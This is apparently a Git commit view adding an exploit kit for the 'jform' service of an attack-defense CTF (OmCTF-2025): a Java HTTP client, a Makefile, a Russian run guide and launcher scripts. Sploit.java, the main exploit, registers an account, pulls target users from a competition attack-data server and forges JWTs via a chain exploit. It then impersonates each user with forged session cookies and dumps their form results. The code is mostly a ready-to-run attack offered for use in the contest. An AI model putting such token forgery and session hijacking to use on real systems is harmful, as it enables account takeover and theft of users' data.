for (HttpCookie cookie : cookies) {
|
||||
switch (cookie.getName()) {
|
||||
case "uid":
|
||||
this.userId = cookie.getValue();
|
||||
break;
|
||||
case "u":
|
||||
this.username = cookie.getValue();
|
||||
break;
|
||||
case "auth":
|
||||
this.authToken = cookie.getValue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUserId() {
|
||||
return userId;
|
||||
}
|
||||
|
||||
public String getUsername() {
|
||||
return username;
|
||||
}
|
||||
|
||||
public String getAuthToken() {
|
||||
return authToken;
|
||||
}
|
||||
|
||||
public String getBaseUrl() {
|
||||
return baseUrl;
|
||||
}
|
||||
|
||||
public boolean isAuthenticated() {
|
||||
return username != null && authToken != null && userId != null;
|
||||
}
|
||||
|
||||
public void setSessionCookies(String userId, String username, String authToken) {
|
||||
this.userId = userId;
|
||||
this.username = username;
|
||||
this.authToken = authToken;
|
||||
|
||||
try {
|
||||
URI uri = new URI(baseUrl);
|
||||
HttpCookie uidCookie = new HttpCookie("uid", userId);
|
||||
uidCookie.setPath("/");
|
||||
uidCookie.setDomain(uri.getHost());
|
||||
|
||||
HttpCookie uCookie = new HttpCookie("u", username);
|
||||
uCookie.setPath("/");
|
||||
uCookie.setDomain(uri.getHost());
|
||||
|
||||
HttpCookie authCookie = new HttpCookie("auth", authToken);
|
||||
authCookie.setPath("/");
|
||||
authCookie.setDomain(uri.getHost());
|
||||
|
||||
cookieManager.getCookieStore().add(uri, uidCookie);
|
||||
cookieManager.getCookieStore().add(uri, uCookie);
|
||||
cookieManager.getCookieStore().add(uri, authCookie);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private String jsonEscape(String str) {
|
||||
return str.replace("\\", "\\\\")
|
||||
.replace("\"", "\\\"")
|
||||
.replace("\n", "\\n")
|
||||
.replace("\r", "\\r")
|
||||
.replace("\t", "\\t");
|
||||
}
|
||||
|
||||
private String mapToJson(Map<String, Object> map) {
|
||||
StringBuilder sb = new StringBuilder("{");
|
||||
boolean first = true;
|
||||
for (Map.Entry<String, Object> entry : map.entrySet()) {
|
||||
if (!first) sb.append(",");
|
||||
first = false;
|
||||
sb.append("\"").append(jsonEscape(entry.getKey())).append("\":");
|
||||
sb.append(valueToJson(entry.getValue()));
|
||||
}
|
||||
sb.append("}");
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private String valueToJson(Object value) {
|
||||
if (value == null) {
|
||||
return "null";
|
||||
} else if (value instanceof String) {
|
||||
return "\"" + jsonEscape((String) value) + "\"";
|
||||
} else if (value instanceof Number || value instanceof Boolean) {
|
||||
return value.toString();
|
||||
} else if (value instanceof Map) {
|
||||
return mapToJson((Map<String, Object>) value);
|
||||
} else if (value instanceof List) {
|
||||
StringBuilder sb = new StringBuilder("[");
|
||||
boolean first = true;
|
||||
for (Object item : (List<?>) value) {
|
||||
if (!first) sb.append(",");
|
||||
first = false;
|
||||
sb.append(valueToJson(item));
|
||||
}
|
||||
sb.append("]");
|
||||
return sb.toString();
|
||||
} else {
|
||||
return "\"" + jsonEscape(value.toString()) + "\"";
|
||||
}
|
||||
}
|
||||
|
||||
private Map<String, Object> parseJsonObject(String json) {
|
||||
Map<String, Object> result = new HashMap<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("{") || !json.endsWith("}")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
Pattern pattern = Pattern.compile("\"([^\"]+)\"\\s*:\\s*([^,}]+|\\{[^}]*\\}|\\[[^\\]]*\\]|\"[^\"]*\")");
|
||||
Matcher matcher = pattern.matcher(json);
|
||||
|
||||
while (matcher.find()) {
|
||||
String key = matcher.group(1);
|
||||
String value = matcher.group(2).trim();
|
||||
result.put(key, parseValue(value));
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<Map<String, Object>> parseJsonArray(String json) {
|
||||
List<Map<String, Object>> result = new ArrayList<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("[") || !json.endsWith("]")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
if (json.isEmpty()) {
|
||||
return result;
|
||||
}
|
||||
|
||||
int depth = 0;
|
||||
StringBuilder current = new StringBuilder();
|
||||
for (char c : json.toCharArray()) {
|
||||
if (c == '{') depth++;
|
||||
else if (c == '}') depth--;
|
||||
|
||||
if (c == ',' && depth == 0) {
|
||||
result.add(parseJsonObject(current.toString()));
|
||||
current = new StringBuilder();
|
||||
} else {
|
||||
current.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
if (current.length() > 0) {
|
||||
result.add(parseJsonObject(current.toString()));
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private List<String> parseStringArray(String json) {
|
||||
List<String> result = new ArrayList<>();
|
||||
json = json.trim();
|
||||
|
||||
if (!json.startsWith("[") || !json.endsWith("]")) {
|
||||
return result;
|
||||
}
|
||||
|
||||
json = json.substring(1, json.length() - 1).trim();
|
||||
|
||||
if (json.isEmpty()) {
|
||||
return result;
|
||||
}
|
||||
|
||||
int depth = 0;
|
||||
boolean inString = false;
|
||||
StringBuilder current = new StringBuilder();
|
||||
|
||||
for (int i = 0; i < json.length(); i++) {
|
||||
char c = json.charAt(i);
|
||||
|
||||
if (c == '"' && (i == 0 || json.charAt(i - 1) != '\\')) {
|
||||
inString = !inString;
|
||||
}
|
||||
|
||||
if (!inString) {
|
||||
if (c == '{' || c == '[') depth++;
|
||||
else if (c == '}' || c == ']') depth--;
|
||||
}
|
||||
|
||||
if (c == ',' && depth == 0 && !inString) {
|
||||
String item = current.toString().trim();
|
||||
if (item.startsWith("\"") && item.endsWith("\"")) {
|
||||
item = item.substring(1, item.length() - 1);
|
||||
}
|
||||
result.add(item);
|
||||
current = new StringBuilder();
|
||||
} else {
|
||||
current.append(c);
|
||||
}
|
||||
}
|
||||
|
||||
if (current.length() > 0) {
|
||||
String item = current.toString().trim();
|
||||
if (item.startsWith("\"") && item.endsWith("\"")) {
|
||||
item = item.substring(1, item.length() - 1);
|
||||
}
|
||||
result.add(item);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private Object parseValue(String value) {
|
||||
value = value.trim();
|
||||
|
||||
if (value.equals("null")) {
|
||||
return null;
|
||||
} else if (value.equals("true")) {
|
||||
return Boolean.TRUE;
|
||||
} else if (value.equals("false")) {
|
||||
return Boolean.FALSE;
|
||||
} else if (value.startsWith("\"") && value.endsWith("\"")) {
|
||||
return value.substring(1, value.length() - 1);
|
||||
} else if (value.matches("-?\\d+")) {
|
||||
return Long.parseLong(value);
|
||||
} else if (value.matches("-?\\d+\\.\\d+")) {
|
||||
return Double.parseDouble(value);
|
||||
} else {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
}
|
||||
28
OmCTF-2025/sploits/jform/Makefile
Normal file
28
OmCTF-2025/sploits/jform/Makefile
Normal file
@@ -0,0 +1,28 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
RM = del /Q
|
||||
JAVAC = javac
|
||||
else
|
||||
RM = rm -f
|
||||
JAVAC = javac
|
||||
endif
|
||||
|
||||
.PHONY: clean compile run
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
$(RM) *.class 2>nul || exit 0
|
||||
else
|
||||
$(RM) *.class
|
||||
endif
|
||||
|
||||
compile:
|
||||
$(JAVAC) -encoding UTF-8 Sploit.java
|
||||
|
||||
run:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
java Sploit $(ARGS)
|
||||
else
|
||||
bash run.sh $(ARGS)
|
||||
endif
|
||||
|
||||
all: clean compile
|
||||
18
OmCTF-2025/sploits/jform/README.md
Normal file
18
OmCTF-2025/sploits/jform/README.md
Normal file
@@ -0,0 +1,18 @@
|
||||
Зависимости: Java 11+, make
|
||||
Как запустить сплоит:
|
||||
|
||||
в run.sh/run.bat обновить url attack_data
|
||||
|
||||
linux:
|
||||
```
|
||||
make clean
|
||||
make compile
|
||||
./run.sh attack_ip
|
||||
```
|
||||
|
||||
win:
|
||||
```
|
||||
make clean
|
||||
make compile
|
||||
./run.bat attack_ip
|
||||
```
|
||||
87
OmCTF-2025/sploits/jform/Sploit.java
Normal file
87
OmCTF-2025/sploits/jform/Sploit.java
Normal file
@@ -0,0 +1,87 @@
|
||||
import java.util.Map;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
public class Sploit {
|
||||
public static void main(String[] args) throws Exception {
|
||||
String serviceUrl = "http://" + args[0] + ":5003";
|
||||
ClientLib client = new ClientLib(serviceUrl);
|
||||
|
||||
String attackDataUrl = args[1];
|
||||
|
||||
String username = CheckLib.generateUsername();
|
||||
String password = CheckLib.generatePassword();
|
||||
|
||||
Map<String, Object> registerResult = client.registerUser(username, password);
|
||||
System.out.println("[+] Registration result: " + registerResult);
|
||||
|
||||
System.out.println("[+] User ID: " + client.getUserId());
|
||||
System.out.println("[+] Username: " + client.getUsername());
|
||||
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
||||
System.out.println("[+] Authenticated: " + client.isAuthenticated());
|
||||
|
||||
System.out.println("\n[*] Getting current user info...");
|
||||
Map<String, Object> userInfo = client.getCurrentUser();
|
||||
System.out.println("[+] User info: " + userInfo);
|
||||
|
||||
System.out.println("\n[*] Creating a form...");
|
||||
Map<String, Object> schema = new HashMap<>();
|
||||
schema.put("title", CheckLib.rndString(10));
|
||||
schema.put("description", CheckLib.rndString(10));
|
||||
|
||||
Map<String, Object> formResult = client.createForm(schema);
|
||||
System.out.println("[+] Form created: " + formResult);
|
||||
|
||||
String formId = (String) formResult.get("formId");
|
||||
long formNumber = (long) formResult.get("formNumber");
|
||||
|
||||
System.out.println("\n[*] Creating a form...");
|
||||
Map<String, Object> schema2 = new HashMap<>();
|
||||
schema2.put("title", CheckLib.rndString(10));
|
||||
schema2.put("description", CheckLib.rndString(10));
|
||||
|
||||
Map<String, Object> formResult2 = client.createForm(schema2);
|
||||
System.out.println("[+] Form created: " + formResult2);
|
||||
|
||||
String formId2 = (String) formResult2.get("formId");
|
||||
|
||||
System.out.println("[+] Form ID: " + formId);
|
||||
|
||||
System.out.println("[+] Form 1: " + formId);
|
||||
System.out.println("[+] Form 2: " + formId2);
|
||||
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
||||
System.out.println("[+] Username: " + username);
|
||||
System.out.println("[+] Auth Token: " + client.getAuthToken());
|
||||
System.out.println("[+] User ID: " + userInfo.get("userId"));
|
||||
|
||||
List<Map<String, Object>> myForms1 = client.getMyForms();
|
||||
System.out.println("[+] My forms: " + myForms1);
|
||||
|
||||
System.out.println("\n[*] Fetching attack data for host: " + args[0]);
|
||||
List<Map<String, String>> targetUsers = AttackData.getAllUsers(args[0], attackDataUrl);
|
||||
System.out.println("[+] Target users: " + targetUsers);
|
||||
|
||||
long userId = ((Number) userInfo.get("userId")).longValue();
|
||||
System.out.println("[+] Current User ID: " + userId);
|
||||
|
||||
Map<String, String>[] jwtsWithUsers = ChainPoC_HexIDs.exploit(formNumber, userId, client.getAuthToken(), targetUsers, formId, formId2);
|
||||
System.out.println("[+] Generated " + jwtsWithUsers.length + " JWTs");
|
||||
|
||||
for (Map<String, String> jwtData : jwtsWithUsers) {
|
||||
String jwt = jwtData.get("jwt");
|
||||
String targetUsername = jwtData.get("username");
|
||||
String targetUserId = jwtData.get("userId");
|
||||
|
||||
client.setSessionCookies(targetUserId, targetUsername, jwt);
|
||||
|
||||
System.out.println("\n[+] Testing as user: " + targetUsername + " (ID: " + targetUserId + ")");
|
||||
System.out.println("[+] Check auth: " + client.isAuthenticated());
|
||||
|
||||
List<Map<String, Object>> myForms = client.getMyForms();
|
||||
|
||||
for (Map<String, Object> form : myForms) {
|
||||
System.out.println("[+] Form results: " + client.getFormResults(form.get("formId").toString()));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
5
OmCTF-2025/sploits/jform/run.bat
Normal file
5
OmCTF-2025/sploits/jform/run.bat
Normal file
@@ -0,0 +1,5 @@
|
||||
@echo off
|
||||
|
||||
set attackDataUrl=http://185.56.162.110/api/client/attack_data/
|
||||
|
||||
java Sploit %1 %attackDataUrl%
|
||||
5
OmCTF-2025/sploits/jform/run.sh
Normal file
5
OmCTF-2025/sploits/jform/run.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
attackDataUrl="http://185.56.162.110/api/client/attack_data/"
|
||||
|
||||
java Sploit $1 $attackDataUrl
|
||||
Reference in New Issue
Block a user